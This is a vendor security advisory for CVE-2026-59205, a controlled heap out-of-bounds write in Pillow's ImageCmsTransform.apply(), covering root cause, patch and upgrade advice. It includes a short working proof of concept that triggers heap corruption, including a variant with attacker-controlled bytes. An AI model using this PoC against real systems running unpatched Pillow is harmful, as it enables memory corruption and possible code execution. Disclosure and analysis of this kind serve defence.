high · 7.5CVE-2026-59205Jul 20, 2026

CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()

Rohit Hatagale
AI Security Researcher, SecureLayer7

Pillow's color-profile transform API writes far more bytes than an output image buffer can hold when the output image's pixel mode does not match the transform's declared output mode, corrupting the…

Packagepillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

ImageCmsTransform.apply() accepts a caller-supplied output image (imOut) but does not verify that imOut.mode matches the transform's declared output mode before passing both image buffers into the native LittleCMS C extension.

The C layer (pyCMSdoTransform) only checks that output dimensions are large enough, then calls cmsDoTransform() row by row. Because findLCMStype() maps RGBA to TYPE_RGBA_8 (4 bytes per pixel), LittleCMS writes 4 * width bytes per row into an L-mode output that only allocated 1 * width bytes, overflowing the heap by up to 3x the row size.

Source pixel values are written directly out-of-bounds, giving an attacker byte-level control over what is written past the allocation.

Proof of concept

A working proof-of-concept for CVE-2026-59205 in pillow, with the exact payload below.

python
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

# Input: RGBA image; output: L image (1 byte/px instead of 4 bytes/px)
# LittleCMS writes 4*8 = 32 bytes into an 8-byte heap row -> heap corruption
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")
# Expected output:
# before
# after
# free(): invalid next size (normal)
# Aborted (core dumped)
#
# Controlled-overwrite variant (width 4096, attacker bytes 0x41424344 in heap):
im2 = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out2 = Image.new("L", (4096, 1), 0)
transform.apply(im2, out2)
# GDB shows fault at ptr 0x4443424144434241 (ABCDABCD LE) -> controlled write

The root cause is a missing mode validation in the Python layer of ImageCmsTransform.apply(). The apply_in_place() sibling correctly checks im.mode != self.output_mode and raises ValueError, but apply() with an explicit imOut argument had no equivalent guard.

The C extension trusts the Python layer to hand it correctly typed images. cmsDoTransform() uses the LittleCMS type descriptor baked into the transform (TYPE_RGBA_8, 4 bytes per pixel for RGBA) regardless of what the output Imaging struct's actual stride is. Passing a 1-byte-per-pixel L buffer causes every row write to overflow by exactly (output_bpp - 1) * width bytes, and because those bytes come directly from the RGBA source pixels, the content of the overwrite is attacker-controlled (CWE-787).

The patch (commit a9ffc42) adds two mode checks in apply(): it raises ValueError if im.mode != self.input_mode and, when imOut is provided, if imOut.mode != self.output_mode, preventing the mismatched buffers from ever reaching the C layer.

The fix

Upgrade to Pillow 12.3.0. The fix adds explicit mode validation at the Python level inside ImageCmsTransform.apply() before any native call is made. Pin to pillow>=12.3.0 in your dependencies. If you expose ImageCms transform functionality to untrusted callers, audit whether they can supply an arbitrary imOut object.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research